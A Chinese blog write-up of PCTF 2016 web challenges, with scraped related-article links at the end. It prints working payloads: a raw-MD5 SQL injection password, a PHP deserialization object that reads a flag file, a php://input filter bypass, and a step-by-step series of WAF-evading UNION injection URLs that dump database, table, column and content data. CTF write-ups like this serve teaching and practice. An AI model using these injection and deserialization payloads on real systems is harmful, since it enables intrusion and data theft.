PCTF-2016-WEB
Pctf
** web100 PORT51**
开始看到这个真的无法下手,想过用python–socket编程或者scapy发包。自己觉得是可以的,但是没有去试,后面看一大神writeup,知道:
最简单的payload:一个curl命令的事,涨姿势了
curl –local-port 51 103.39.76.105:32772/
其中–local-port 51 强制使用本地51端口 所以最后的flag就是PCTF{M45t3r_oF_CuRl}
另外在本文后面贴一份C语言实现这道题的代码:(见文章最后)
** web250 Login** 通过抓包在响应头里面看到hint如下:
hint : "select * from `admin` where password='".md5($pass,true)."'"
根据http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/, 直接输入ffifdyop,得到flag为PCTF{R4w_md5_is_d4ng3rous} 还有一个,提交129581926211651571912466741651878684928:
content: 129581926211651571912466741651878684928
count: 18933549
hex: 06da5430449f8f6f23dfc1276f722738
raw: ?T0D??o#??'or'8.N=?
文档:http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes web300 神盾局的秘密 这道题打开是一个只有一张图片的主页。查看源码发现了一个文件读取漏洞
读出showimg.php的源码
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
从这里看到img参数防止了跨目录读取,但是我们还可以读取index.php的源码啊 得到:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
这里知道index.php还可以传入class参数,并且还有一个反序列函数,应该就是一个反序列漏洞了。此处还知道了一个地址shield.php读他的源码:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
果然啊,php反序列啊: 根据代码生成payload: O:6:"shield":1:{s:4:"file";s:8:"pctf.php";}
得到flag:PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
** web500 IN A Mess**
这题打开就很快根据提示找到一串代码:
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id']){
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
require("flag.txt");
}
else{
print "work harder!harder!harder!";
}
?>
需要绕过啊!! 绕过分析:
id==0且!$_GET(“id”)为假 构造:id=false或者id=”0”
$a不包含点且a文件内容为特定的 a=http://115.159.145.92/test 把其中ip用iphex编码为0x739F915C iphex工具在线
b长度大于5&&eregi(“111”.substr(b,0,1),”1114”)andsubstr(b,0,1)!=4。构造b=*123456或者b=%0023456ssss
还有一种绕过方法:主要是输入流。
POST /index.php?id=0xxx&a=php://input&b=.12345
1112 is a nice lab!
绕过时真JB激动啊!!得到一串字符 /^HT2mCpcvOLf 当时还当flag拿去换着几种姿势提交都不对 后面想了想可能是目录 就访问xxxxxxx/^HT2mCpcvOLf 果然就是,并找了找,是注入:
Howevevr….waf太强不会,GG了就,虽然GG了 但是答案还是要找来贴在这儿的,看大神的解法:
试了试,过滤不多,就过滤了像是空格啊,回车啊,tab啊之类根本没什么屁用的东西,像是select,union,from什么的也都只被正则替换了一次,用selselectect就能绕过,另外还过滤了08,09,20等等敏感的数字。 flag就在context字段里面,而那个hi666就是title字段的值。 用union去回显爆库,它是总共有三个字段,显示的是第三个字段,像是空格被过滤的话用各种括号就可以绕过了,最后的payload如下:
http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)frfromom(content))
后头自己也去注了一下,把过程记录下来:
绕过测试 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=1/*123*/or/*123*/0
数据库 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,database()
爆表 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(table_name)/*123*/frfromom/*123*/information_schema.tables/*123*/where/*123*/table_schema=database()
爆列 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_name=0x636f6e74656e74
爆内容 http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0/*123*/uniounionn/*123*/selecselectt/*123*/1,2,group_concat(context,0x7e,title)/*123*/frfromom/*123*/content
PCTF{Fin4lly_U_got_i7_C0ngRatulation5}~hi666
PCTF-2016-WEB的更多相关文章
- Velocity China 2016 Web 性能与运维大会:构建快速、可扩展的弹性网站
Velocity China 2016 Web 性能与运维大会是一场关于构建快速.可扩展的弹性网站所需要的Web性能.运维及开发运维的训练.大会将于2016年12月1日在北京拉开帷幕,此次大会被众多业 ...
- [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]
前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...
- Dynamics CRM 2015/2016 Web API:聚合查询
各位小伙伴们,今天是博主2016年发的第一篇文章.首先祝大家新年快乐.工资Double,哈哈.今天我们来看一个比較重要的Feature--使用Web API运行FetchXML查询! 对的,各位.你们 ...
- SharePoint Server 2016 WEB 网站浏览器支持
SharePoint Server 2016支持多种常用的Web浏览器,如Internet Explorer,Google Chrome,Mozilla Firefox,Apple Safari和Mi ...
- 2016 Web开发资源工具大搜罗
来源于:https://zhuanlan.zhihu.com/p/22730771 作者:余博伦链接:https://zhuanlan.zhihu.com/p/22730771来源:知乎著作权归作者所 ...
- 2016 Web 开发资源工具大搜罗
原文链接: 100+ Awesome Web Development Tools and Resources Web的迅猛发展对于开发者来说既是一件好事也是一件坏事.不断紧跟潮流学习新的技术.编程语言 ...
- Dynamics CRM 2015/2016 Web API:新的数据查询方式
今天我们来看看Web API的数据查询功能,尽管之前介绍CRUD的文章里面提到过怎么去Read数据,可是并没有详细的去深究那些细节,今天我们就来详细看看吧.事实上呢,Web API的数据查询接口也是基 ...
- Dynamics CRM 2015/2016 Web API:Unbound Custom Action 和 Bound Custom Action
今天我们再来看看Bound/Unbound Custom Action吧,什么是Custom Action?不知道的小伙伴们就out了,Dynamics CRM 2013就有了这个功能啦.和WhoAm ...
- Dynamics CRM 2015/2016 Web API:Unbound Function 和 Bound Function
今天我们来看看Dynamics CRM Web API Function 吧, 这是一个新概念,刚接触的时候我也是比較的迷糊.这种命名确实是和之前的那套基于SOAP协议的API全然联系不上.好了,不说 ...
- 【CTF WEB】ISCC 2016 web 2题记录
偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//ind ...
随机推荐
- android 数据文件存取至储存卡
来自:http://blog.csdn.net/jianghuiquan/article/details/8569233 <?xml version="1.0" encodi ...
- C#获取本地系统日期格式
我们可以通过使用DataTime这个类来获取当前的时间.通过调用类中的各种方法我们可以获取不同的时间:如:日期(2008-09-04).时间(12:12:12).日期+时间(2008-09-04 12 ...
- JTS Geometry关系判断和分析
关系判断 Geometry之间的关系有如下几种: 相等(Equals): 几何形状拓扑上相等. 脱节(Disjoint): 几何形状没有共有的点. 相交(Intersects): 几何形状至少有一个共 ...
- Linux0.11内核剖析--内核体系结构
一个完整可用的操作系统主要由 4 部分组成:硬件.操作系统内核.操作系统服务和用户应用程序,如下图所示: 用户应用程序是指那些字处理程序. Internet 浏览器程序或用户自行编制的各种应用程序: ...
- 【读书笔记】iOS-GCD-block
一,block的定义 //申明变量 (void)(^PrintStr)(void); //定义 PrintStr=^{ NSLog(@"PrintStr"); }; //调用 Pr ...
- 用的比较多的linux命令
vi编辑器 :set nu 显示行号 :$ 到文件最后一行 文件查找 find . -maxdepth 1 -name "@*" 这个命令意思是,查找当前目录下以@开 ...
- android中的事件传递和处理机制
一直以来,都被android中的事件传递和处理机制深深的困扰!今天特意来好好的探讨一下.现在的感觉是,只要你理解到位,其实事件的 传递和处理机制并没有想象中的那么难.总之,不要自己打击自己,要相信自己 ...
- Swift 2.0初探
转眼间,Swift已经一岁多了,这门新鲜.语法时尚.类型安全.执行速度更快的语言已经渐渐的深入广大开发者的心. 今年6月,一年一度的WWDC大会如期而至,在大会上Apple发布了Swift 2.0,引 ...
- Redis系列(一)——简介及安装
摘自:redis中文网(http://www.redis.net.cn/) 参考:http://www.cnblogs.com/hoojo/p/4466024.html,http://keenwon. ...
- ubuntu16.04下opencv安装笔记和例程
问题: 最近重装了系统,需要重新配置opencv2.4.13,配置完成后每次都出现cmake error,google了报错,尝试了各种方法,都未解决问题,于是重新git clone 了opencv2 ...